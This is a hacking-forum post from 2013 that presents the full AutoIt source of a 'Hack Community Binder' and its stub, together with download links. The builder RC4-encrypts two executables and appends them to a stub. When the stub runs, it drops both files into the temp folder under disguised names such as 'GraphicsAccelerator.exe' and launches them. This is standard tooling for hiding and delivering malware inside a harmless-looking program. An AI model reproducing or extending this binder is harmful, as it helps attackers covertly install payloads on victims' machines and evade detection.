[HC Official] Hack Community Binder

Solixious · 01-31-2013, 04:44 AM

Hello mates,
I'm glad to present before all of you guys Hack Community Binder today. It can be used to encrypt and bind two executable files along with a stub file into a single file. This file when executed would let both the files encrypted withing itself execute at the same time. It is an open source project done in autoit, so modifications and enhancements are welcome.

Screenshot:
[Image: HC_Binder.png]

Binder Source :

Code:
#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>
#include<GDIPlus.au3>

Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xff0000
$color3=0x777777
$frame=GUICreate("Binder",600,400,200,200,$WS_POPUPWINDOW)
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile("logo.png")
$hGraphic = _GDIPlus_GraphicsCreateFromHWND($frame)
GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")

$header=GUICtrlCreateLabel("Binder",340,40,130,50)
$label1=GUICtrlCreateLabel("File 1",20,230,60,20)
$label2=GUICtrlCreateLabel("File 2",20,270,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,310,60,20)
$input1=GUICtrlCreateInput("",90,230,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,270,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,310,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",550,230,30,20)
$button2=GUICtrlCreateButton("...",550,270,30,20)
$button3=GUICtrlCreateButton("...",550,310,30,20)
$bind=GUICtrlCreateButton("Bind",190,350,70,25)
$close=GUICtrlCreateButton("Close",270,350,70,25)
$about=GUICtrlCreateButton(">>",570,370,20,20)
$frame2=GUICreate("",300,100,800,500,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
   ;
WEnd

Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)
    #forceref $hWnd, $Msg, $wParam, $lParam
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_UPDATENOW)
    _GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_VALIDATE)
    Return $GUI_RUNDEFMSG
 EndFunc
 
Func init()
   GUICtrlSetFont($header,25,700,2)
   GUICtrlSetFont($label1,14)
   GUICtrlSetFont($label2,14)
   GUICtrlSetFont($label3,14)
   GUICtrlSetFont($label,11)
   GUICtrlSetFont($bind,12)
   GUICtrlSetFont($close,12)
   GUICtrlSetFont($input1,12)
   GUICtrlSetFont($input2,12)
   GUICtrlSetFont($input3,12)
   GUISetBkColor($color1,$frame)
   GUISetBkColor($color1,$frame2)
   GUICtrlSetBkColor($input1,$color3)
   GUICtrlSetBkColor($input2,$color3)
   GUICtrlSetBkColor($input3,$color3)
   GUICtrlSetBkColor($button1,$color2)
   GUICtrlSetBkColor($button2,$color2)
   GUICtrlSetBkColor($button3,$color2)
   GUICtrlSetColor($label1,$color2)
   GUICtrlSetColor($label2,$color2)
   GUICtrlSetColor($label,$color2)
   GUICtrlSetColor($label3,$color2)
   GUICtrlSetBkColor($bind,$color2)
   GUICtrlSetBkColor($close,$color2)
   GUICtrlSetBkColor($about,$color2)
   GUICtrlSetColor($header,$color2)
EndFunc

Func quit()
   _GDIPlus_GraphicsDispose($hGraphic)
   _GDIPlus_ImageDispose($hImage)
   _GDIPlus_Shutdown()
   Exit
EndFunc

Func getpath1()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input1,$filepath)
   EndIf
EndFunc

Func getpath2()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input2,$filepath)
   EndIf
EndFunc


Func getpath3()
   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input3,$filepath)
   EndIf
EndFunc

Func bind()
   $path1=GUICtrlRead($input1)
   $path2=GUICtrlRead($input2)
   $path3=GUICtrlRead($input3)
   If FileExists($path1) And FileExists($path2) Then
	  $marker=StringToBinary("SOLIXIOUS")
	  $output=FileOpen($path3,1+2+8+16)
	  $inputx1=FileOpen($path1,0+16)
	  $inputx2=FileOpen($path2,0+16)
	  $data1=FileRead($inputx1)
	  $data2=FileRead($inputx2)
	  $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
	  $stubdata=FileRead($stub)
	  FileWrite($output,$stubdata)
	  FileWrite($output,$marker)
	  $data1=encrypt(BinaryToString($data1))
	  $data2=encrypt(BinaryToString($data2))
	  FileWrite($output,StringToBinary($data1))
	  FileWrite($output,$marker)
	  FileWrite($output,StringToBinary($data2))
	  FileClose($output)
	  FileClose($inputx1)
	  FileClose($inputx2)
	  MsgBox(64,"Successful","Files Binded Successfully!")
	  GUICtrlSetData($input1,"")
	  GUICtrlSetData($input2,"")
	  GUICtrlSetData($input3,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
   Return $data
EndFunc

Func about()
   If $view=0 Then
	  GUISetState(@SW_SHOW,$frame2)
	  GUICtrlSetData($about,"<<")
	  $view=1
   Else
	  GUISetState(@SW_HIDE,$frame2)
	  GUICtrlSetData($about,">>")
	  $view=0
   EndIf
EndFunc

Stub Source :

Code:
#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=3 Then
	  $ardata[2]=decrypt(BinaryToString($ardata[2]))
	  $ardata[3]=decrypt(BinaryToString($ardata[3]))
	  $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
	  FileWrite($file1,$ardata[2])
	  FileClose($file1)
	  $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
	  FileWrite($file1,$ardata[3])
	  FileClose($file2)
	  ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
	  ShellExecute(@TempDir & "\GraphicsService.exe")
	  While 1
		 ;
	  WEnd
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
   return $data
EndFunc

Func quit()
   Exit
EndFunc

Download Link :
HC Binder x86
HC Binder x64